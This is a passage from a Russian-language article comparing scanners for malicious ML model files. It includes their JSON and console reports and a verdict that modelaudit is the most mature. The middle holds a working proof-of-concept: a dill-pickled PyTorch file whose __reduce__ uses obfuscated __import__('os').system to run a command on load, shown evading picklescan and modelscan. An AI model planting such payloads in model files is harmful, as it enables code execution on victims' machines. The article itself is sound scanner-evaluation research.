< СОКРАЩЕНО >
],
"files_scanned": 1,
"assets": [
{
"path": "...\\bypass_numpy.pkl",
"type": "pickle",
"size": 360
}
],
"has_errors": false,
"scanner_names": [],
"file_metadata": {
"...\\bypass_numpy.pkl": {
"file_size": 360,
"file_hashes": {
"md5": "218060b2af6fa1e7cfde170a407c22ed",
"sha256": "a7d0548dea9f44333a0096f3712d14bd2cdf4ab487934a8553942cd9735e83cd",
"sha512": "45e786da9657fb51e98a887c3870a6a54ac3060b00a20b4dc50102a64d72bde45424c0a57844e89841e3188daa8b2b8c99564689a5e594a1da6881c84a039b79"
},
"max_stack_depth": 7,
"opcode_count": 152,
"suspicious_count": 0,
"ml_context": {
"frameworks": {
"sklearn": {
"confidence": 0.135,
"indicators": [],
"file_patterns": []
}
},
"overall_confidence": 0.135,
"is_ml_content": false,
"detected_patterns": [
"module:numpy(1)"
],
"optimization_hints": []
},
"license_info": [],
"copyright_notices": [],
"license_files_nearby": [],
"is_dataset": true,
"is_model": true,
"risk_score": 0.0,
"scan_timestamp": 1766489299.7962291
}
},
"content_hash": "efe87668d7c0ba45b2294d6fba02025c30c1ce2a8537716f9a9216b3c7576af0",
"start_time": 1766489299.430575,
"duration": 0.368363618850708,
"total_checks": 16,
"passed_checks": 14,
"failed_checks": 1,
"success": true
}Существуют протоколы, которые позволяют сериализовать еще больший список объектов по сравнению со стандартным Pickle. Примерами таких форматов являются dill и cloudpickle.
В качестве альтернативного механизма сериализации PyTorch поддерживает Dill. Его ключевое преимущество — возможность сохранять функции и лямбда-выражения. Пример такой сериализации:
import torch
import dill
def run_cmd(cmd):
x = '__im'
y = 'po'
z = 'rt__'
o = 'o'
s = 's'
import builtins
module = getattr(builtins, x + y + z)(o + s)
getattr(module, 'sys' + 'tem')(cmd)
class Exploit:
def __reduce__(self):
return (run_cmd, ("echo HACKED >> /tmp/hacked_obf",))
model = torch.nn.Linear(1, 1)
exploit = Exploit()
torch.save({'model': model, 'exploit': exploit}, 'malicious.pth', pickle_module=dill)Представленный код помимо использования dill демонстрирует своеобразную обфускацию кода внутри вызываемой функции.
Для успешной (с точки зрения злоумышленника) загрузки malicious.pth можно использовать несколько подходов:
torch.load('malicious.pth', pickle_module=dill)
torch.load('malicious.pth', weights_only=False)
Последнему варианту стоит уделить особое внимание, так как до PyTorch 2.6 атрибут weights_only не был задан как True по умолчанию и вдобавок к этому поиск на GitHub по запросу "torch" AND "weights_only=False" выдает более 80 тыс. результатов.
Сводка проверок собранного malicious.pth всеми сканерами (отчеты сканеров представлены ниже):
Сканер | Найдены ли проблемы | Уровень опасности | Обозначения сработавших проверок |
picklescan | ❌ | ||
modelscan | ❌ | ||
fickling | не поддерживает формат | ||
modelaudit | ✅ | warning, critical | 1. 2. 3. 4. ... |
Отчет picklescan:
$ picklescan --globals --path .\malicious.pth
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Dangerous globals: 0
All globals found:
* dill._dill._create_code - suspicious
* _codecs.encode - suspicious
* torch.nn.modules.linear.Linear - suspicious
* __main__.__dict__ - suspicious
* torch._utils._rebuild_tensor_v2 - innocuous
* collections.OrderedDict - innocuous
* torch._utils._rebuild_parameter - suspicious
* dill._dill._load_type - suspicious
* dill._dill._create_function - suspicious
* torch.FloatStorage - innocuousОтчет modelscan:
$ modelscan -p malicious.pth
No settings file detected at /.../modelscan-settings.toml. Using defaults.
Scanning /.../malicious.pth:malicious/data.pkl using modelscan.scanners.PickleUnsafeOpScan model scan
--- Summary ---
No issues found! 🎉
--- Skipped ---Отчет modelaudit (для краткости из отчета удалены проверки, не выдавшие результат){
"bytes_scanned": 5522,
"issues": [
{
"message": "Suspicious patterns detected: STACK_GLOBAL(3), GLOBAL(9), OBJ(1), NEWOBJ(1), REDUCE(3) opcodes detected",
"severity": "warning",
"location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl",
"details": {
"cve_id": "CVE-2025-32434",
"opcode_counts": {
"STACK_GLOBAL": 3,
"GLOBAL": 9,
"OBJ": 1,
"NEWOBJ": 1,
"REDUCE": 3
},
"total_dangerous_opcodes": 17,
"unique_opcode_types": [
"OBJ",
"NEWOBJ",
"STACK_GLOBAL",
"GLOBAL",
"REDUCE"
],
"code_execution_risks": [
"New-style object creation",
"Module import and attribute access",
"Object creation code execution",
"Direct code execution patterns",
"Dynamic import and attribute access",
"__reduce__ method exploitation"
],
"import_analysis": {
"total_imports": 10,
"all_legitimate": false,
"found_malicious": [],
"found_imports": [
"__main__.__dict__",
"_codecs.encode",
"dill._dill._create_function",
"torch.nn.modules.linear.Linear",
"torch.FloatStorage",
"torch._utils._rebuild_parameter",
"torch._utils._rebuild_tensor_v2",
"dill._dill._load_type",
"collections.OrderedDict",
"dill._dill._create_code"
]
},
"safetensors_available": false,
"assessment": "suspicious",
"vulnerability_description": "The weights_only=True parameter in torch.load() does not prevent code execution from pickle files, contrary to common security assumptions.",
"recommendation": "Model contains unusual pickle patterns that require manual review. Consider using SafeTensors format or verifying model source before deployment.",
"affected_pytorch_versions": "All versions ≤2.5.1",
"fixed_in": "PyTorch 2.6.0"
},
"timestamp": 1766529556.1877365,
"type": "pytorch_zip_check"
},
{
"message": "Legacy dangerous pattern detected: __import__",
"severity": "warning",
"location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl",
"details": {
"pattern": "__import__",
"detection_method": "legacy_pattern_matching",
"pickle_filename": "no_obf/data.pkl"
},
"timestamp": 1766529556.176348,
"type": "pickle_check"
},
{
"message": "Suspicious reference dill._dill._create_code",
"severity": "critical",
"location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl",
"details": {
"module": "dill._dill",
"function": "_create_code",
"opcode": "STACK_GLOBAL",
"ml_context_confidence": 0.315,
"pickle_filename": "no_obf/data.pkl"
},
"why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.",
"timestamp": 1766529556.1856666,
"type": "pickle_check"
},
{
"message": "Suspicious reference dill._dill._load_type",
"severity": "critical",
"location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl",
"details": {
"module": "dill._dill",
"function": "_load_type",
"opcode": "STACK_GLOBAL",
"ml_context_confidence": 0.315,
"pickle_filename": "no_obf/data.pkl"
},
"why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.",
"timestamp": 1766529556.1858368,
"type": "pickle_check"
},
{
"message": "Suspicious reference dill._dill._create_function",
"severity": "critical",
"location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl",
"details": {
"module": "dill._dill",
"function": "_create_function",
"opcode": "STACK_GLOBAL",
"ml_context_confidence": 0.315,
"pickle_filename": "no_obf/data.pkl"
},
"why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.",
"timestamp": 1766529556.1860723,
"type": "pickle_check"
},
{
"message": "Found NEWOBJ opcode - potential code execution",
"severity": "warning",
"location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 53)",
"details": {
"position": 53,
"opcode": "NEWOBJ",
"argument": "None",
"ml_context_confidence": 0.315,
"pickle_filename": "no_obf/data.pkl"
},
"why": "The NEWOBJ opcode creates new-style class instances. It can execute initialization code and is commonly used in pickle exploits.",
"timestamp": 1766529556.1862166,
"type": "pickle_check"
},
{
"message": "Suspicious reference dill._dill._load_type",
"severity": "critical",
"location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 438)",
"details": {
"module": "dill._dill",
"function": "_load_type",
"position": 438,
"opcode": "GLOBAL",
"import_reference": "dill._dill._load_type",
"ml_context_confidence": 0.315,
"pickle_filename": "no_obf/data.pkl"
},
"why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.",
"timestamp": 1766529556.1864522,
"type": "pickle_check"
},
{
"message": "Found REDUCE opcode with non-allowlisted global: dill._dill._load_type. This may indicate CVE-2025-32434 exploitation (RCE via torch.load)",
"severity": "critical",
"location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 476)",
"details": {
"position": 476,
"opcode": "REDUCE",
"associated_global": "dill._dill._load_type",
"cve_id": "CVE-2025-32434",
"ml_context_confidence": 0.315,
"pickle_filename": "no_obf/data.pkl"
},
"why": "The REDUCE opcode calls a callable with arguments, effectively executing arbitrary Python functions. This is the primary mechanism for pickle-based code execution attacks through __reduce__ methods.",
"timestamp": 1766529556.186561,
"type": "pickle_check"
},
{
"message": "Suspicious reference dill._dill._create_function",
"severity": "critical",
"location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 977)",
"details": {
"module": "dill._dill",
"function": "_create_function",
"position": 977,
"opcode": "GLOBAL",
"import_reference": "dill._dill._create_function",
"ml_context_confidence": 0.315,
"pickle_filename": "no_obf/data.pkl"
},
"why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.",
"timestamp": 1766529556.1866915,
"type": "pickle_check"
},
{
"message": "Suspicious reference dill._dill._create_code",
"severity": "critical",
"location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 1009)",
"details": {
"module": "dill._dill",
"function": "_create_code",
"position": 1009,
"opcode": "GLOBAL",
"import_reference": "dill._dill._create_code",
"ml_context_confidence": 0.315,
"pickle_filename": "no_obf/data.pkl"
},
"why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.",
"timestamp": 1766529556.1867952,
"type": "pickle_check"
},
{
"message": "Found REDUCE opcode with non-allowlisted global: _codecs.encode. This may indicate CVE-2025-32434 exploitation (RCE via torch.load)",
"severity": "warning",
"location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 1094)",
"details": {
"position": 1094,
"opcode": "REDUCE",
"associated_global": "_codecs.encode",
"cve_id": "CVE-2025-32434",
"ml_context_confidence": 0.315,
"pickle_filename": "no_obf/data.pkl"
},
"why": "The REDUCE opcode calls a callable with arguments, effectively executing arbitrary Python functions. This is the primary mechanism for pickle-based code execution attacks through __reduce__ methods.",
"timestamp": 1766529556.1869295,
"type": "pickle_check"
},
{
"message": "Found REDUCE opcode with non-allowlisted global: __main__.__dict__. This may indicate CVE-2025-32434 exploitation (RCE via torch.load)",
"severity": "warning",
"location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 1737)",
"details": {
"position": 1737,
"opcode": "REDUCE",
"associated_global": "__main__.__dict__",
"cve_id": "CVE-2025-32434",
"ml_context_confidence": 0.315,
"pickle_filename": "no_obf/data.pkl"
},
"why": "The REDUCE opcode calls a callable with arguments, effectively executing arbitrary Python functions. This is the primary mechanism for pickle-based code execution attacks through __reduce__ methods.",
"timestamp": 1766529556.1870513,
"type": "pickle_check"
}
],
"checks": [
< СОКРАЩЕНО >
],
"files_scanned": 1,
"assets": [
{
"path": "...\\torch_obfuscated\\no_obf.pth",
"type": "pytorch_zip",
"size": 3421
}
],
"has_errors": false,
"scanner_names": [],
"file_metadata": {
"...\\torch_obfuscated\\no_obf.pth": {
"file_size": 3421,
"file_hashes": {
"md5": "84a4506f4c738417a0448d1e3768f230",
"sha256": "bbe230a6e86e6200662186f400e76f6bbbe5f10097950f9bbe3692c2d377a7d2",
"sha512": "3cbb48b4bc86427f889b72269ac72d38e2cfd9a3f47856db2f2ca6a13fec14ec30e4a3d82f9d9cd223baa2acbaca0d9842371cc9029d6a546e67a38e8c8c9e68"
},
"max_stack_depth": 18,
"opcode_count": 345,
"suspicious_count": 6,
"ml_context": {
"frameworks": {
"pytorch": {
"confidence": 0.315,
"indicators": [],
"file_patterns": []
}
},
"overall_confidence": 0.315,
"is_ml_content": true,
"detected_patterns": [
"module:torch(4)",
"module:collections(1)"
],
"optimization_hints": []
},
"license_info": [],
"copyright_notices": [],
"license_files_nearby": [],
"is_dataset": false,
"is_model": true,
"risk_score": 0.0,
"scan_timestamp": 1766529556.1899319,
"pickle_files": [
"no_obf/data.pkl"
]
}
},
"content_hash": "9b51092dc796284028b3f7f6cf3d6ac7d11f9b8d761127d01885ed0a0cffe9a1",
"start_time": 1766529554.3617566,
"duration": 1.8323705196380615,
"total_checks": 24,
"passed_checks": 18,
"failed_checks": 6,
"success": true
}Как бы это банально ни звучало – использование непроверенных моделей машинного обучения повышает риски наступления опасного инцидента ИБ, но для снижения этих рисков недостаточно выбрать какой-то новый сканер, ведь у каждого из них есть свои ограничения как по применяемым типам проверок, так и по поддерживаемым форматам сериализации моделей.
Среди всех проанализированных инструментов самым зрелым оказался modeaudit, опережая всех конкурентов по основным, на мой взгляд, параметрам:
Подробная документация,
Множество поддерживаемых для сканирования форматов хранения моделей,
Множество разнообразных типов проверок.
Стоит уточнить, что в данном обзоре никак не фигурировали возможные ошибки первого рода (False Positive). Но если вы не занимаетесь проверкой сотен и более моделей в день, то для вас основной проблемой при сканировании будет ошибка второго рода, то есть, False Negative.
P.S.: Выражаю благодарность за помощь в доработке статьи Артёму Семёнову, автору канала @pwnai